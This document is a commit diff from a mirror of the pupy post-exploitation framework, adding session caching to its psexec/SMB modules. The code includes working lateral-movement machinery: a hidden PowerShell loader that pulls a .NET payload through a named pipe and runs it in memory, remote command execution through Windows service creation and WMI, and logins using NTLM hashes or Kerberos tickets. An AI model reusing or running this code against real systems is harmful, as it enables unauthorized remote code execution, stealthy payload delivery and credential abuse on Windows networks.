mirror of https://github.com/n1nj4sec/pupy.git
psexec/Experemental: add support for DCOM/DCE session cache
This commit is contained in:
parent
25e96ca739
commit
daf771e31e
|
@ -83,6 +83,10 @@ def serve(
|
|||
cmd, pipename = push_payload(
|
||||
dotnet_payload, timeout=timeout, log_cb=_power_logger)
|
||||
|
||||
if not cmd or not pipename:
|
||||
module.error('PowerLoader: failed')
|
||||
return None, None
|
||||
|
||||
module.success("PowerLoader: Serving payload to pipe={} for {} seconds".format(
|
||||
pipename, timeout))
|
||||
|
||||
|
|
|
@ -77,7 +77,10 @@ class PSExec(PupyModule):
|
|||
timeout=args.timeout,
|
||||
arch='x64' if args.command == 'pupy64' else 'x86'
|
||||
)
|
||||
completions.append(completion)
|
||||
|
||||
if completion:
|
||||
completions.append(completion)
|
||||
|
||||
continue
|
||||
|
||||
output, error = smbexec(
|
||||
|
|
|
@ -5,6 +5,7 @@ import ntpath
|
|||
import StringIO
|
||||
|
||||
from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
|
||||
from pupylib.PupyOutput import Table
|
||||
from pupylib.utils.rpyc_utils import obtain
|
||||
|
||||
__class_name__="SMB"
|
||||
|
@ -34,6 +35,11 @@ class SMB(PupyModule):
|
|||
cls.arg_parser.add_argument('-c', '--codepage', default=None, help='Codepage')
|
||||
|
||||
commands = cls.arg_parser.add_subparsers(dest="command")
|
||||
|
||||
cache = commands.add_parser('cache')
|
||||
cache.add_argument('command', choices=('get', 'enable', 'disable', 'clear'))
|
||||
cache.set_defaults(func=cls.cache)
|
||||
|
||||
cp = commands.add_parser('cp')
|
||||
cp.add_argument('src', help='Source')
|
||||
cp.add_argument('dst', help='Destination')
|
||||
|
@ -69,6 +75,31 @@ class SMB(PupyModule):
|
|||
except SMBError, e:
|
||||
self.error(str(e))
|
||||
|
||||
def cache(self, args):
|
||||
if args.command in ('enable', 'disable'):
|
||||
set_use_cache = self.client.remote(
|
||||
'pupyutils.psexec', 'set_use_cache', False)
|
||||
|
||||
set_use_cache(args.command == 'enable')
|
||||
|
||||
elif args.command == 'get':
|
||||
get_cache = self.client.remote(
|
||||
'pupyutils.psexec', 'get_cache', False)
|
||||
try:
|
||||
cache = get_cache()
|
||||
self.log(Table([{
|
||||
'Host': host, 'User': user or '', 'Domain': domain or ''
|
||||
} for host, user, _, domain, _, _, _, _ in cache], [
|
||||
'Host', 'User', 'Domain'
|
||||
]))
|
||||
except Exception as e:
|
||||
self.error(e)
|
||||
|
||||
elif args.command == 'clear':
|
||||
clear_session_caches = self.client.remote(
|
||||
'pupyutils.psexec', 'clear_session_caches', False)
|
||||
clear_session_caches()
|
||||
|
||||
def get_ft(self, args, host):
|
||||
create_filetransfer = self.client.remote(
|
||||
'pupyutils.psexec', 'create_filetransfer', False)
|
||||
|
|
|
@ -39,7 +39,26 @@ from sys import getdefaultencoding
|
|||
from Crypto.Cipher import DES
|
||||
assert(DES)
|
||||
|
||||
SUCCESS_CACHE = {}
|
||||
|
||||
SUCCESS_CACHE = {}
|
||||
SMB_SESSIONS_CACHE = {}
|
||||
WBEM_SESSIONS_CACHE = {}
|
||||
|
||||
USE_CACHE = False
|
||||
|
||||
|
||||
class PsExecException(Exception):
|
||||
def as_unicode(self, codepage=None):
|
||||
try:
|
||||
if codepage:
|
||||
error = self.message.decode(codepage)
|
||||
else:
|
||||
error = self.message.decode(getdefaultencoding())
|
||||
|
||||
return error
|
||||
|
||||
except UnicodeError:
|
||||
return error.decode('latin1')
|
||||
|
||||
try:
|
||||
import pupy
|
||||
|
@ -54,7 +73,8 @@ try:
|
|||
except ImportError:
|
||||
pass
|
||||
|
||||
# Use Start-Transcript -Path C:\windows\temp\d.log -Force; to debug
|
||||
|
||||
# Use Start-Transcript -Path "C:\windows\temp\d.log" -Force; to debug
|
||||
|
||||
PIPE_LOADER_TEMPLATE = '''
|
||||
$ps=new-object System.IO.Pipes.PipeSecurity;
|
||||
|
@ -66,7 +86,7 @@ $x.Close();
|
|||
[Reflection.Assembly]::Load($a).GetTypes()[0].GetMethods()[0].Invoke($null,@());
|
||||
'''
|
||||
|
||||
PIPE_LOADER_CMD_TEMPLATE = '{powershell} -w hidden -EncodedCommand {cmd}'
|
||||
PIPE_LOADER_CMD_TEMPLATE = '{powershell} -w hidden -EncodedCommand "{cmd}"'
|
||||
POWERSHELL_PATH = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
|
||||
|
||||
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
|
@ -90,6 +110,7 @@ if 'idna' not in encodings._cache or not encodings._cache['idna']:
|
|||
|
||||
encodings._cache['idna'] = encodings.idna.getregentry()
|
||||
|
||||
|
||||
def generate_loader_cmd(size):
|
||||
pipename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
|
||||
encoded = b64encode(PIPE_LOADER_TEMPLATE.format(
|
||||
|
@ -97,23 +118,27 @@ def generate_loader_cmd(size):
|
|||
cmd = PIPE_LOADER_CMD_TEMPLATE.format(powershell=POWERSHELL_PATH, cmd=encoded)
|
||||
return cmd, pipename
|
||||
|
||||
def create_filetransfer(*args, **kwargs):
|
||||
smbc, error = ConnectionInfo(*args, **kwargs).create_connection()
|
||||
if smbc:
|
||||
return FileTransfer(smbc), None
|
||||
else:
|
||||
return None, error
|
||||
|
||||
class ConnectionInfo(object):
|
||||
__slots__ = (
|
||||
'host', 'port', 'user', 'password', 'domain',
|
||||
'nt', 'lm',
|
||||
'aes', 'TGT', 'TGS', 'KDC', 'valid', 'timeout',
|
||||
'_conn'
|
||||
'_smb_conn', '_wbem_conn', '_dcom_conn', '_use_cache', '_cached'
|
||||
)
|
||||
|
||||
def __init__(self, host, port=445, user='', domain='', password='', ntlm='',
|
||||
aes='', tgt='', tgs='', kdc='', timeout=10):
|
||||
aes='', tgt='', tgs='', kdc='', timeout=10, use_cache=None):
|
||||
|
||||
self._smb_conn = None
|
||||
self._wbem_conn = None
|
||||
self._dcom_conn = None
|
||||
self._cached = False
|
||||
|
||||
if use_cache is None:
|
||||
use_cache = USE_CACHE
|
||||
|
||||
self._use_cache = use_cache
|
||||
|
||||
if type(host) == unicode:
|
||||
host = host.encode('utf-8')
|
||||
|
@ -185,6 +210,10 @@ class ConnectionInfo(object):
|
|||
|
||||
return conninfo
|
||||
|
||||
@property
|
||||
def cached(self):
|
||||
return self._cached
|
||||
|
||||
@property
|
||||
def kerberos(self):
|
||||
return bool(self.aes)
|
||||
|
@ -203,43 +232,148 @@ class ConnectionInfo(object):
|
|||
self.aes, self.TGT, self.TGS
|
||||
]
|
||||
|
||||
def create_dcom_connection(self):
|
||||
return DCOMConnection(
|
||||
def close(self):
|
||||
if self._cached:
|
||||
# Leak connections if cache is used
|
||||
return
|
||||
|
||||
if self._smb_conn:
|
||||
try:
|
||||
self._smb_conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._smb_conn = None
|
||||
|
||||
if self._wbem_conn:
|
||||
try:
|
||||
self._wbem_conn.RemRelease()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._wbem_conn = None
|
||||
|
||||
if self._dcom_conn:
|
||||
try:
|
||||
self._dcom_conn.disconnect()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._dcom_conn = None
|
||||
|
||||
def __enter__(self):
|
||||
pass
|
||||
|
||||
def __exit__(self, *args):
|
||||
self.close()
|
||||
|
||||
def _cache_key_entry(self):
|
||||
return (
|
||||
self.host, self.user, self.password,
|
||||
self.domain, self.lm, self.nt, self.aes,
|
||||
self.kerberos
|
||||
)
|
||||
|
||||
def create_wbem(self, namespace='//./root/cimv2', rpc_auth_level=None):
|
||||
if self._wbem_conn:
|
||||
return self._wbem_conn
|
||||
|
||||
key = None
|
||||
if self._use_cache:
|
||||
key = self._cache_key_entry()
|
||||
if key in WBEM_SESSIONS_CACHE:
|
||||
self._dcom_conn, self._wbem_conn = WBEM_SESSIONS_CACHE[key]
|
||||
self._cached = True
|
||||
return self._wbem_conn
|
||||
|
||||
dcom = DCOMConnection(
|
||||
self.host, self.user, self.password, self.domain,
|
||||
self.lm, self.nt, self.aes, oxidResolver=True,
|
||||
doKerberos=self.kerberos
|
||||
)
|
||||
|
||||
@contextmanager
|
||||
def create_wbem(self, namespace='//./root/cimv2', rpc_auth_level=None):
|
||||
dcom = self.create_dcom_connection()
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(
|
||||
wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||
)
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
|
||||
if rpc_auth_level == 'privacy':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
elif rpc_auth_level == 'integrity':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(
|
||||
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
if rpc_auth_level == 'privacy':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
yield iWbemServices
|
||||
elif rpc_auth_level == 'integrity':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(
|
||||
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
finally:
|
||||
except:
|
||||
dcom.disconnect()
|
||||
raise
|
||||
|
||||
self._dcom_conn = dcom
|
||||
self._wbem_conn = iWbemServices
|
||||
|
||||
if key is not None:
|
||||
WBEM_SESSIONS_CACHE[key] = self._dcom_conn, self._wbem_conn
|
||||
self._cached = True
|
||||
|
||||
return self._wbem_conn
|
||||
|
||||
def create_pipe_dce_rpc(self, pipe, dialect=SMB_DIALECT):
|
||||
rpc = None
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(
|
||||
r'ncacn_np:{}[{}]'.format(self.host, pipe))
|
||||
rpc_transport.set_dport(self.port)
|
||||
rpc_transport.preferred_dialect(dialect)
|
||||
rpc_transport.set_credentials(
|
||||
self.user, self.password, self.domain,
|
||||
self.lm, self.nt, self.aes,
|
||||
self.TGT, self.TGS
|
||||
)
|
||||
|
||||
if self._smb_conn:
|
||||
rpc_transport.set_smb_connection(self._smb_conn)
|
||||
rpc = rpc_transport.get_dce_rpc()
|
||||
else:
|
||||
key = None
|
||||
|
||||
rpc = rpc_transport.get_dce_rpc()
|
||||
rpc.connect()
|
||||
|
||||
if key and key in SMB_SESSIONS_CACHE:
|
||||
self._smb_conn = SMB_SESSIONS_CACHE[key]
|
||||
rpc_transport.set_smb_connection(self._smb_conn)
|
||||
self._cached = True
|
||||
return rpc_transport.get_dce_rpc()
|
||||
|
||||
self._smb_conn = rpc_transport.get_smb_connection()
|
||||
|
||||
if key is not None:
|
||||
SMB_SESSIONS_CACHE[key] = self._smb_conn
|
||||
self._cached = True
|
||||
|
||||
return rpc
|
||||
|
||||
def create_smb_connection(self):
|
||||
if self._smb_conn:
|
||||
return self._smb_conn
|
||||
|
||||
key = None
|
||||
|
||||
if self._use_cache:
|
||||
key = self._cache_key_entry()
|
||||
if key in SMB_SESSIONS_CACHE:
|
||||
self._smb_conn = SMB_SESSIONS_CACHE[key]
|
||||
self._cached = True
|
||||
return self._smb_conn
|
||||
|
||||
def create_connection(self, klass=SMBConnection):
|
||||
try:
|
||||
smb = klass(self.host, self.host, None, self.port, timeout=self.timeout)
|
||||
smb = SMBConnection(self.host, self.host, None, self.port, timeout=self.timeout)
|
||||
|
||||
if self.kerberos:
|
||||
smb.kerberos_login(
|
||||
|
@ -268,26 +402,33 @@ class ConnectionInfo(object):
|
|||
'kdc': self.KDC
|
||||
}
|
||||
|
||||
return smb, None
|
||||
self._smb_conn = smb
|
||||
|
||||
if key is not None:
|
||||
SMB_SESSIONS_CACHE[key] = self._smb_conn
|
||||
|
||||
return smb
|
||||
|
||||
except SessionError, e:
|
||||
return None, e.getErrorString()[0]
|
||||
raise PsExecException(e.getErrorString()[0])
|
||||
|
||||
except (OSError, socket.error), e:
|
||||
return None, str(e)
|
||||
raise PsExecException(e)
|
||||
|
||||
except Exception, e:
|
||||
error = '{}: {}\n{}'.format(type(e).__name__, e, traceback.format_exc())
|
||||
return None, error
|
||||
raise PsExecException(error)
|
||||
|
||||
|
||||
class FileTransfer(object):
|
||||
__slots__ = (
|
||||
'_exception', '_conn'
|
||||
'_exception', '_conn', '_cached'
|
||||
)
|
||||
|
||||
def __init__(self, conn):
|
||||
def __init__(self, conn, cached=False):
|
||||
self._exception = None
|
||||
self._conn = conn
|
||||
self._cached = cached
|
||||
|
||||
@property
|
||||
def error(self):
|
||||
|
@ -320,6 +461,7 @@ class FileTransfer(object):
|
|||
return [
|
||||
x['shi1_netname'][:-1] for x in self._conn.listShares()
|
||||
]
|
||||
|
||||
except Exception, e:
|
||||
self._exception = e
|
||||
return []
|
||||
|
@ -431,7 +573,7 @@ class FileTransfer(object):
|
|||
pass
|
||||
|
||||
if not pipeReady:
|
||||
raise Exception('Couldn\'t connect to pipe {}'.format(pipe))
|
||||
self._conn.waitNamedPipe(tid, '\\' + pipe)
|
||||
|
||||
fid = self._conn.openFile(
|
||||
tid, pipe, FILE_WRITE_DATA | FILE_APPEND_DATA, shareMode=0)
|
||||
|
@ -448,16 +590,18 @@ class FileTransfer(object):
|
|||
self._conn.closeFile(tid, fid)
|
||||
|
||||
def close(self):
|
||||
if self._conn:
|
||||
self._conn.logoff()
|
||||
if self._conn and not self._cached:
|
||||
self._conn.close()
|
||||
|
||||
|
||||
class ShellServiceAlreadyExists(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class ShellServiceIsNotExists(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class ShellService(object):
|
||||
__slots__ = (
|
||||
'_scHandle', '_serviceHandle', '_scmr', '_name'
|
||||
|
@ -469,8 +613,7 @@ class ShellService(object):
|
|||
|
||||
self._name = name + '\x00'
|
||||
|
||||
self._scmr = rpc.get_dce_rpc()
|
||||
self._scmr.connect()
|
||||
self._scmr = rpc
|
||||
self._scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
|
||||
resp = scmr.hROpenSCManagerW(self._scmr)
|
||||
|
@ -481,6 +624,7 @@ class ShellService(object):
|
|||
try:
|
||||
resp = scmr.hROpenServiceW(self._scmr, self._scHandle, self._name)
|
||||
self._serviceHandle = resp['lpServiceHandle']
|
||||
|
||||
except Exception, e:
|
||||
if hasattr(e, 'error_code') and e.error_code == ERROR_SERVICE_DOES_NOT_EXIST:
|
||||
pass
|
||||
|
@ -560,27 +704,20 @@ class ShellService(object):
|
|||
scmr.hRDeleteService(self._scmr, self._serviceHandle)
|
||||
scmr.hRCloseServiceHandle(self._scmr, self._serviceHandle)
|
||||
|
||||
def sc(conninfo, command, output=True, wait=30):
|
||||
rpctransport = transport.DCERPCTransportFactory(
|
||||
r'ncacn_np:{}[\pipe\svcctl]'.format(conninfo.host))
|
||||
rpctransport.set_dport(conninfo.port)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
def create_filetransfer(*args, **kwargs):
|
||||
try:
|
||||
info = ConnectionInfo(*args, **kwargs)
|
||||
smbc = info.create_smb_connection()
|
||||
return FileTransfer(smbc, info.cached), None
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(
|
||||
conninfo.user,
|
||||
conninfo.password,
|
||||
conninfo.domain,
|
||||
conninfo.lm,
|
||||
conninfo.nt,
|
||||
conninfo.aes,
|
||||
conninfo.TGT,
|
||||
conninfo.TGS
|
||||
)
|
||||
except PsExecException as e:
|
||||
return None, e.as_unicode(kwargs.get('codepage', None))
|
||||
|
||||
service = ShellService(rpctransport)
|
||||
|
||||
def sc(conninfo, command, output=True):
|
||||
rpc = conninfo.create_pipe_dce_rpc(r'\pipe\svcctl')
|
||||
service = ShellService(rpc)
|
||||
if service.exists:
|
||||
service.destroy()
|
||||
|
||||
|
@ -591,18 +728,11 @@ def sc(conninfo, command, output=True, wait=30):
|
|||
])
|
||||
|
||||
if not service.create(command, output_filename):
|
||||
return None, 'Could not create service'
|
||||
raise PsExecException('Could not create service')
|
||||
|
||||
running = service.start()
|
||||
if running and wait:
|
||||
try:
|
||||
wait = int(wait)
|
||||
except:
|
||||
pass
|
||||
|
||||
timeout = None
|
||||
if type(wait) == int:
|
||||
timeout = time.time() + wait
|
||||
if running and conninfo.timeout:
|
||||
timeout = time.time() + conninfo.timeout
|
||||
|
||||
while service.active:
|
||||
time.sleep(1)
|
||||
|
@ -611,25 +741,30 @@ def sc(conninfo, command, output=True, wait=30):
|
|||
|
||||
service.destroy()
|
||||
|
||||
return rpctransport.get_smb_connection(), output_filename
|
||||
return output_filename
|
||||
|
||||
|
||||
def wmiexec(conninfo, command, share='C$', output=True):
|
||||
output_filename = None
|
||||
|
||||
with conninfo.create_wbem() as iWbemServices:
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
if output:
|
||||
output_filename = '\\'.join([
|
||||
r'\Windows\Temp', ''.join(random.sample(string.ascii_letters, 10))
|
||||
])
|
||||
iWbemServices = conninfo.create_wbem()
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
if output:
|
||||
output_filename = '\\'.join([
|
||||
r'\Windows\Temp', ''.join(random.sample(string.ascii_letters, 10))
|
||||
])
|
||||
|
||||
command = r'cmd.exe /Q /c {} 2>&1 1> \\127.0.0.1\{}\{}'.format(
|
||||
command, share, output_filename
|
||||
)
|
||||
command = r'cmd.exe /Q /c {} 2>&1 1> \\127.0.0.1\{}\{}'.format(
|
||||
command, share, output_filename
|
||||
)
|
||||
|
||||
win32Process.Create(command, r'C:\Windows\Temp', None)
|
||||
iResultClassObject = win32Process.Create(command, r'C:\Windows\Temp', None)
|
||||
result = iResultClassObject.ReturnValue
|
||||
if result == 0:
|
||||
return output_filename
|
||||
else:
|
||||
raise PsExecException('Win32_Process.Create failed: {}'.format(result))
|
||||
|
||||
return output_filename
|
||||
|
||||
def wql(
|
||||
host, port, user, domain, password, ntlm,
|
||||
|
@ -639,7 +774,8 @@ def wql(
|
|||
host, port, user, domain, password, ntlm, timeout=timeout
|
||||
)
|
||||
|
||||
with conninfo.create_wbem(namespace, rpc_auth_level) as iWbemServices:
|
||||
with conninfo:
|
||||
iWbemServices = conninfo.create_wbem(namespace, rpc_auth_level)
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(query.strip())
|
||||
|
||||
first = True
|
||||
|
@ -664,6 +800,7 @@ def wql(
|
|||
])
|
||||
else:
|
||||
item[idx] = header[key]['value']
|
||||
|
||||
result.append(item)
|
||||
|
||||
except Exception as e:
|
||||
|
@ -677,19 +814,78 @@ def wql(
|
|||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
|
||||
def check(host, port, user, domain, password, ntlm, timeout=30):
|
||||
conninfo = ConnectionInfo(
|
||||
host, port, user, domain, password, ntlm, timeout=timeout
|
||||
)
|
||||
|
||||
try:
|
||||
conn = conninfo.create_connection()
|
||||
conn.close()
|
||||
with conninfo:
|
||||
conninfo.create_smb_connection()
|
||||
except:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def _smbexec(
|
||||
conninfo, command, share='C$', execm='smbexec',
|
||||
codepage=None, output=True, on_exec=None):
|
||||
|
||||
filename = None
|
||||
ft = None
|
||||
smbc = None
|
||||
|
||||
if execm == 'smbexec':
|
||||
filename = sc(conninfo, command, output)
|
||||
|
||||
elif execm == 'wmi':
|
||||
filename = wmiexec(conninfo, command, share, output)
|
||||
|
||||
else:
|
||||
raise ValueError('Unknown execution method, knowns are smbexec/wmi')
|
||||
|
||||
if on_exec:
|
||||
if not smbc:
|
||||
smbc = conninfo.create_smb_connection()
|
||||
|
||||
if not ft:
|
||||
ft = FileTransfer(smbc, cached=True)
|
||||
|
||||
on_exec(ft)
|
||||
|
||||
if filename:
|
||||
if not ft:
|
||||
if not smbc:
|
||||
smbc = conninfo.create_smb_connection()
|
||||
|
||||
ft = FileTransfer(smbc, cached=True)
|
||||
|
||||
buf = StringIO()
|
||||
for retry in xrange(5):
|
||||
ft.get(share, filename, buf.write)
|
||||
if not ft.ok and 'share access flags' in ft.error:
|
||||
time.sleep(retry)
|
||||
continue
|
||||
|
||||
break
|
||||
|
||||
if not ft.ok:
|
||||
return None, ft.error + ' (args: share={} filename={})'.format(
|
||||
share, filename)
|
||||
|
||||
ft.rm(share, filename)
|
||||
value = buf.getvalue()
|
||||
|
||||
if codepage:
|
||||
value = value.decode(codepage)
|
||||
|
||||
return value, ft.error
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def smbexec(
|
||||
host, port,
|
||||
user, domain,
|
||||
|
@ -701,80 +897,61 @@ def smbexec(
|
|||
host, port, user, domain, password, ntlm, timeout=timeout
|
||||
)
|
||||
|
||||
filename = None
|
||||
ft = None
|
||||
smbc = None
|
||||
with conninfo:
|
||||
try:
|
||||
return _smbexec(conninfo, command, share, execm, codepage, output, on_exec)
|
||||
|
||||
try:
|
||||
if execm == 'smbexec':
|
||||
smbc, filename = sc(conninfo, command, output, timeout if output else None)
|
||||
if not smbc:
|
||||
return None, filename
|
||||
except PsExecException as e:
|
||||
return None, e.as_unicode(codepage)
|
||||
|
||||
elif execm == 'wmi':
|
||||
if output:
|
||||
smbc, error = conninfo.create_connection()
|
||||
if not smbc:
|
||||
if type(error) != unicode:
|
||||
try:
|
||||
if codepage:
|
||||
error = error.decode(codepage)
|
||||
else:
|
||||
error = error.decode(getdefaultencoding())
|
||||
except UnicodeDecodeError:
|
||||
error = error.decode('latin1')
|
||||
except SessionError as e:
|
||||
return None, '{}:{} {}'.format(host, port, e)
|
||||
|
||||
return None, error
|
||||
except Exception as e:
|
||||
return None, '{}:{} {}: {}\n{}'.format(
|
||||
host, port, type(e).__name__, e, traceback.format_exc())
|
||||
|
||||
filename = wmiexec(conninfo, command, share, output)
|
||||
|
||||
if on_exec:
|
||||
if not smbc:
|
||||
smbc, error = conninfo.create_connection()
|
||||
if not smbc:
|
||||
return None, error
|
||||
def get_cache():
|
||||
if USE_CACHE is not True:
|
||||
raise ValueError('Cache disabled')
|
||||
|
||||
if smbc:
|
||||
ft = FileTransfer(smbc)
|
||||
on_exec(ft)
|
||||
keys = set()
|
||||
keys.update(tuple(x) for x in SMB_SESSIONS_CACHE)
|
||||
keys.update(tuple(x) for x in WBEM_SESSIONS_CACHE)
|
||||
|
||||
if filename:
|
||||
if not ft:
|
||||
ft = FileTransfer(smbc)
|
||||
return tuple(keys)
|
||||
|
||||
buf = StringIO()
|
||||
for retry in xrange(5):
|
||||
ft.get(share, filename, buf.write)
|
||||
if not ft.ok and 'share access flags' in ft.error:
|
||||
time.sleep(retry)
|
||||
continue
|
||||
|
||||
break
|
||||
def clear_session_caches():
|
||||
for session in SMB_SESSIONS_CACHE.values():
|
||||
try:
|
||||
session.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not ft.ok:
|
||||
return None, ft.error + ' (args: share={} filename={})'.format(
|
||||
share, filename)
|
||||
for dcom, wbem in WBEM_SESSIONS_CACHE.values():
|
||||
try:
|
||||
wbem.RemRelease()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
ft.rm(share, filename)
|
||||
value = buf.getvalue()
|
||||
try:
|
||||
dcom.disconnect()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if codepage:
|
||||
value = value.decode(codepage)
|
||||
SMB_SESSIONS_CACHE.clear()
|
||||
WBEM_SESSIONS_CACHE.clear()
|
||||
|
||||
return value, ft.error
|
||||
|
||||
return None, None
|
||||
def set_use_cache(use_cache):
|
||||
global USE_CACHE
|
||||
USE_CACHE = use_cache
|
||||
|
||||
except SessionError as e:
|
||||
return None, '{}:{} {}'.format(host, port, e)
|
||||
if use_cache is False:
|
||||
clear_session_caches()
|
||||
|
||||
except Exception as e:
|
||||
return None, '{}:{} {}: {}\n{}'.format(
|
||||
host, port, type(e).__name__, e, traceback.format_exc())
|
||||
|
||||
finally:
|
||||
if ft:
|
||||
ft.close()
|
||||
|
||||
def pupy_smb_exec(
|
||||
host, port,
|
||||
|
@ -818,8 +995,9 @@ def pupy_smb_exec(
|
|||
output=False,
|
||||
on_exec=_push_payload)
|
||||
|
||||
if log_cb and error:
|
||||
log_cb(False, 'Smbexec failed: {})'.format(error))
|
||||
if error:
|
||||
if log_cb:
|
||||
log_cb(False, 'Smbexec failed: {})'.format(error))
|
||||
|
||||
except Exception, e:
|
||||
if log_cb:
|
||||
|
|
Loading…
Reference in New Issue